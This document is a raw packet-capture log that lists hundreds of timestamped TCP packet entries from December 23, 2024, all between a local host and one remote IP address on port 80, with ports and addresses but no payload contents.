Dec 23, 2024 08:23:41.006344080 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.006386995 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.061146021 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.061158895 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.061170101 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.061244965 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.061319113 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.061368942 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.061470032 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.061532974 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.061543941 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.061577082 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.061988115 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.062035084 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.062050104 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.062062025 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.062171936 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.062439919 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.062803030 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.062844038 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.062846899 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.062859058 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.062887907 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.063065052 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.063654900 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.063695908 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.063711882 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.063724041 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.063749075 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.063903093 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.064377069 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.064388990 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.064402103 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.064423084 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.064434052 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.064554930 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.065129042 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.065174103 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.065174103 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.065186977 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.065220118 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.065367937 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.065968037 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.066009998 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.117872000 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.117955923 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.117966890 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.118002892 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.118304014 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.118315935 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.118330002 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.118355036 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.118385077 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.118406057 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.118834019 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.118844986 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.118858099 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.118881941 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.118911028 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.119049072 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.119643927 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.119654894 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.119666100 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.119697094 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.185575962 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.185586929 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.185596943 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.185643911 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.185760975 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.185805082 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.185831070 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.185842037 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.185877085 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.186032057 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.186631918 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.186641932 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.186654091 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.186683893 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.186696053 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.186764956 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.187328100 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.187370062 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.187401056 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.187412024 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.187448978 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.187988043 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.187999964 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.188013077 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.188036919 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.188164949 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.188209057 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.188754082 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.188765049 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.188776970 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.188800097 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.188930988 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.188968897 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.189488888 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.189553976 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.189565897 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.189591885 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.189831018 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.189872980 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.190337896 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.190347910 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.190360069 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.190383911 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.190521002 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.190609932 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.191099882 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.191274881 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.191287041 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.191299915 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.191348076 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.191348076 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.191914082 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.191924095 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.191936016 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.191956997 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.192074060 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.192116976 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.192651033 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.192709923 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.192720890 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.192754984 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.192862034 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.192903042 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.193478107 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.193489075 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.193500996 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.193521023 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.193732023 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.193775892 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.194245100 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.194376945 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.194389105 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.194411993 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.194535971 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.194574118 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.195012093 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.195060968 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.195072889 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.195100069 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.195219040 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.195261002 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.195815086 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.195846081 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.195861101 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.195888042 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.196177006 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.196221113 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.196670055 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.196681023 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.196693897 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.196717978 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.196896076 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.196938038 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.197374105 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.197513103 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.197551012 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.197562933 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.197573900 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.197916031 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.198147058 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.198244095 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.198282957 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.253150940 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.253197908 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.253211975 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.253237963 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.253360987 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.253402948 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.253540993 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.253613949 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.253626108 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.253652096 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.254102945 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.254122019 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.254139900 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.254277945 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.254316092 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.254348993 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.254360914 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.254395008 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.254548073 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.255134106 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.255152941 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.255167007 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.255172968 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.255211115 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.255351067 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.255924940 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.255937099 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.255950928 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.255961895 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.255990028 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.256082058 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.256663084 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.256714106 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.256722927 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.256736040 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.256768942 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.256951094 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.257477999 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.257515907 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.257515907 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.257529974 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.257575035 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.310336113 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.310385942 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.310477018 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.310484886 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.310684919 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.310697079 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.310739994 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.310791969 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.310792923 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.311186075 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.311306953 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.311358929 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.311722040 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.311784029 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.311826944 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.311911106 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.311923981 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.311956882 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.312021971 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.312033892 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.312047005 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.312071085 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.312849998 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.312899113 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.377985954 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.378000021 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.378057957 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.378129959 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.378140926 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.378153086 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.378165007 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.378174067 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.378216982 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.378721952 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.378734112 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.378778934 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.378947020 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.378958941 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.379000902 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.379376888 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.379450083 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.379462957 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.379487991 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.379584074 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.379628897 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.380166054 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.380341053 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.380353928 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.380364895 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.380387068 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.380402088 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.381010056 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.381021976 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.381033897 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.381055117 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.381325006 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.381366014 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.381736040 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.381853104 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.381892920 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.381902933 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.381913900 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.381947994 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.382508993 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.382580996 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.382592916 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.382612944 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.382795095 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.382833004 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.383356094 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.383418083 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.383430004 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.383455038 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.383708954 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.383748055 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.384165049 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.384176970 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.384187937 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.384207010 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.384475946 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.384515047 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.384897947 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.385034084 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.385045052 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.385056973 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.385071039 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.385106087 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.385679960 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.385741949 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.385751963 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.385786057 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.385920048 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.385958910 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.386523008 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.386534929 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.386545897 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.386573076 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.386662006 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.386697054 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.387264013 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.387331009 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.387342930 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.387383938 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.387470961 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.387511969 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.388076067 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.388087988 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.388134003 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.388209105 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.388221025 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.388253927 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.388920069 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.388931036 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.388942003 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.388964891 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.389085054 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.389137030 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.389645100 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.389695883 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.389707088 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.389731884 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.389859915 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.389897108 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.390527010 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.390538931 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.390585899 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.445426941 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.445440054 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.445451975 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.445501089 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.445744991 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.445755959 CET	80	49731	185.215.113.16	192.168.2.5
